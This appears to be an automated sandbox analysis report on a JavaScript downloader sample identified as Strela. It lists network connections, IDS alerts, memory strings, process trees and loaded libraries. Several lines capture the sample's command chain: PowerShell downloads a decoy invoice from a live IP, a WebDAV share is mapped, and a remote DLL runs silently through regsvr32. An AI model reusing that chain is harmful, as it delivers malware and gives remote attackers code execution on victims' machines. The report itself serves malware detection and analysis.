20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 63 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49736

Source: global traffic

TCP traffic: 192.168.2.5:49736 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.5:52221 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49720 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2173104679.00000219A9332000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2291439513.000001893945C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2291439513.000001893943B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2290895660.000001893945A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2291375541.0000018939408000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2290988220.000001893943B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2291375541.0000018939408000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Num
Source: svchost.exe, 0000000A.00000002.3439429733.000001EA7F600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.10.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 0000000A.00000003.2308059379.000001EA7F3A0000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.10.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5996, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2279239302728123306.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/53@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:652:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_14lpgucs.mqa.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 2279239302728123306.js

Virustotal: Detection: 9%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2279239302728123306.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2392 --field-trial-handle=1512,i,3376101444178727774,5728194804804498819,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2392 --field-trial-handle=1512,i,3376101444178727774,5728194804804498819,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
